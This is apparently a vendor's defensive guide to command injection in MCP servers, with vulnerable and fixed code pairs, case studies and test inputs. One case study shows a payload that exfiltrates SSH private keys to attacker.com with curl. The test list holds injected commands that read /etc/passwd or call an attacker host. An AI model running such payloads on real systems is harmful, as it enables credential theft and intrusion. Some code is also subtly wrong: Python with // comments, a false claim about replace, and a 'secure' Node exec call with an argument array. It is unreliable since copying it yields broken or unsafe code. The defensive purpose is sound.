Preventing Command Injection in MCP Servers
Executive Summary
Command injection remains one of the most critical vulnerabilities in MCP server implementations, especially those that execute system commands as part of their functionality. Our scan of 50+ public MCP servers revealed that 23% contained some form of command injection vulnerability, primarily due to improper string concatenation when building shell commands.
Understanding Command Injection in MCP Servers
Command injection vulnerabilities occur when user-controlled input is incorporated into a system command without proper sanitization or validation. In the context of Model Context Protocol (MCP) servers, this vulnerability takes on a unique dimension due to the interaction between large language models (LLMs) and external tools.
MCP servers often expose functionality that executes commands on the host system - from simple file operations to complex data processing tasks. When these operations involve string concatenation to build shell commands using data from tool parameters, they create a potential attack vector.
The Unique Risk in MCP
The command injection risk in MCP is amplified compared to traditional web applications because:
- MCP servers trust LLMs to properly validate inputs, but LLMs may not understand security implications.
- Users review tool calls but may not recognize subtle injection patterns.
- Tool descriptions don't highlight security boundaries or risks.
- MCP servers typically run with the permissions of the user who launched them, which may be extensive.
Vulnerable Patterns We Found
Our extensive scanning of public MCP servers revealed several common vulnerable patterns. Here are the most prevalent ones:
1. Direct String Concatenation
❌ VULNERABLE
// Python Example
user_input = tool_input["filename"]
cmd = "convert " + user_input + " output.png"
os.system(cmd) // VULNERABLE
// Node.js Example
const userInput = toolInput.query;
const cmd = `grep ${userInput} data.txt`;
exec(cmd, (error, stdout) => {
return stdout;
});
✅ SECURE
// Python Example
user_input = tool_input["filename"]
subprocess.run(["convert", user_input,
"output.png"], check=True)
// Node.js Example
const userInput = toolInput.query;
exec("grep", [userInput, "data.txt"],
(error, stdout) => {
return stdout;
});
This is the most common vulnerability we found, present in 67% of vulnerable MCP servers. The issue: using string concatenation or template literals to construct command strings passed to shell interpreters.
2. Shell Mode in Subprocess Functions
❌ VULNERABLE
// Python subprocess with shell=True
user_input = tool_input["query"]
subprocess.run(f"grep {user_input} logs.txt",
shell=True) // VULNERABLE
// Node.js exec with shell
const userInput = toolInput.term;
childProcess.execSync(
`find . -name "${userInput}"`,
{shell: true}
);
✅ SECURE
// Python subprocess without shell
user_input = tool_input["query"]
subprocess.run(["grep", user_input,
"logs.txt"])
// Node.js exec without shell
const userInput = toolInput.term;
childProcess.execFileSync("find",
[".", "-name", userInput]
);
We found that 29% of vulnerable servers were using subprocess functions with shell mode enabled. This is particularly problematic as it interprets special shell characters like ;
, |
, &
, and $()
.
3. Insufficient Sanitization
❌ VULNERABLE
// Python with insufficient sanitization
user_input = tool_input["command"]
user_input = user_input.replace(";", "")
// Only removes first semicolon
os.system("process " + user_input)
// Node.js with regex but missing characters
const userInput = toolInput.cmd;
userInput = userInput.replace(/[;&|]/g, "");
// Missing backticks, $(), etc.
exec(`analyze ${userInput}`);
✅ SECURE
// Python with proper parameter passing
user_input = tool_input["command"]
// No sanitization needed when using arrays
subprocess.run(["process", user_input])
// Node.js with strict allowlist
const userInput = toolInput.cmd;
if (!/^[a-zA-Z0-9_\-\.]+$/.test(userInput)) {
throw new Error("Invalid characters");
}
exec(`analyze ${userInput}`);
A troubling 18% of vulnerable servers attempted sanitization but did it incorrectly - often by only removing specific characters once, not accounting for all shell metacharacters, or using incorrect replacement patterns.
Real-World Vulnerability Examples
During our scanning process, we identified several real-world examples of command injection vulnerabilities in MCP servers. Here are two case studies (with sensitive details anonymized):
Case Study 1: Media Processing MCP Server
A media processing MCP server offered tools for image conversion, video processing, and audio extraction. The convert_image
tool allowed specifying an input format and output format. The vulnerable implementation:
def convert_image(input_file, output_format):
// User-controlled output_format injected into command
cmd = f"convert {input_file} {output_format}"
os.system(cmd)
return {"status": "success"}
This implementation allowed an attacker to inject commands through the output_format parameter. For example, providing output.png; rm -rf /important
would delete files after the conversion.
Fix: The implementation was updated to use subprocess with argument arrays and validate the output format against an allowlist.
Case Study 2: Development Utilities MCP Server
A developer-focused MCP server provided tools like code linting, formatting, and testing. One tool allowed developers to run Git operations:
async function gitOperation(repo, operation, branch) {
// User-controlled branch parameter injected into command
const cmd = `git -C ${repo} ${operation} origin/${branch}`;
return await execPromise(cmd);
}
An attacker could exploit this by providing a branch name like main && curl -X POST --data "$(cat ~/.ssh/id_rsa)" https://attacker.com
, which would execute the Git command and then exfiltrate SSH private keys.
Fix: The implementation was updated to use execFile with an array of arguments and implement strict validation on repository, operation, and branch parameters.
Comprehensive Prevention Guide
1. Never Use String Concatenation for Commands
Use array-based command execution - All major programming languages provide mechanisms to execute commands with arguments passed as arrays or lists, preventing shell interpretation of special characters:
Python:
subprocess.run(["command", "arg1", "arg2"])
Node.js:
child_process.execFile("command", ["arg1", "arg2"])
Go:
exec.Command("command", "arg1", "arg2")
Ruby:
system("command", "arg1", "arg2")
2. Implement Proper Input Validation
Use allowlists instead of denylists - Define what patterns are acceptable rather than trying to block malicious patterns:
// JavaScript example
function validateFilename(filename) {
// Only allow alphanumeric, underscore, dash, and extension
const validPattern = /^[a-zA-Z0-9_-]+\.[a-zA-Z0-9]+$/;
if (!validPattern.test(filename)) {
throw new Error("Invalid filename format");
}
return filename;
}
Validate against expected type and range - Ensure inputs match the expected data type and constraints:
// Python example
def validate_integer_range(value, min_val, max_val):
try:
num = int(value)
if min_val <= num <= max_val:
return num
else:
raise ValueError(f"Value must be between {min_val} and {max_val}")
except ValueError:
raise ValueError("Value must be an integer")
3. Use Built-in Libraries Instead of Shell Commands
Replace shell commands with library functions - Most operations can be performed using built-in libraries:
❌ VULNERABLE
// Instead of:
os.system(f"mkdir -p {directory}")
// Or:
exec(`cat ${filename}`, (err, output) => {
return output;
});
✅ SECURE
// Use:
os.makedirs(directory, exist_ok=True)
// And:
fs.readFile(filename, 'utf8', (err, data) => {
return data;
});
4. Apply the Principle of Least Privilege
Run your MCP server with minimal permissions - Configure the server to run with only the permissions it needs:
- Use dedicated service accounts with restricted permissions
- Apply filesystem permissions to limit access to sensitive files
- Use containerization technologies like Docker with appropriate security constraints
- Consider using system capabilities (on Linux) to grant specific privileges without full root access
5. Implement Proper Error Handling
Don't reveal sensitive information in error messages - Ensure that error messages don't expose system details or command outputs that might help attackers:
❌ VULNERABLE
try:
result = subprocess.run(cmd, shell=True,
check=True,
capture_output=True)
except subprocess.CalledProcessError as e:
return {"error": str(e.stderr)} // Leaks details
✅ SECURE
try:
result = subprocess.run(cmd_args,
check=True,
capture_output=True)
except subprocess.CalledProcessError:
logging.error("Command failed", exc_info=True)
return {"error": "Operation failed"}
Testing for Command Injection
Testing is crucial for identifying command injection vulnerabilities before they reach production. We recommend implementing these testing practices:
- Code Review - Establish mandatory code reviews focusing on how commands are constructed and executed.
- Static Analysis - Use static analysis tools configured to detect command injection patterns. Configure tools like Semgrep, CodeQL, or language-specific analyzers.
- Penetration Testing - Conduct regular penetration testing on your MCP servers with a focus on command injection. Try inputs with special characters like
;
,|
,&
,$()
, and''
to see if they're properly handled. - Automated Security Testing - Integrate security testing into your CI/CD pipeline to catch vulnerabilities before deployment.
- MCP-Specific Testing - Use MCPScan.ai to regularly scan your servers for command injection vulnerabilities specifically in the context of MCP tool implementations.
Command Injection Test Cases
Here are some test values to try with your MCP tools that might process or execute commands:
input_file.txt; ls -la
input_file.txt && echo "VULNERABLE"
input_file.txt || curl http://attacker.com
input_file.txt `id`
input_file.txt $(cat /etc/passwd)
input_file.txt > /tmp/test
input_file.txt | grep password
*;touch /tmp/pwned
If any of these inputs cause unexpected command execution, your MCP server is vulnerable to command injection.
Conclusion
Command injection vulnerabilities in MCP servers represent a significant security risk, especially as these servers often operate with elevated permissions and process potentially untrusted inputs coming through LLM tool usage. Our research shows that nearly a quarter of publicly accessible MCP servers contain some form of command injection vulnerability.
By following the best practices outlined in this article—using array-based command execution, implementing strict input validation, replacing shell commands with library functions, applying the principle of least privilege, and implementing proper error handling—you can significantly reduce the risk of command injection in your MCP server implementations.
Regular security scanning with MCPScan.ai can help identify vulnerabilities in your MCP servers before they can be exploited, ensuring that your AI systems operate securely and responsibly.
Ready to secure your MCP servers?
Use MCPScan.ai to check for command injection and other vulnerabilities in your Model Context Protocol implementations.
Scan Your MCP Server Now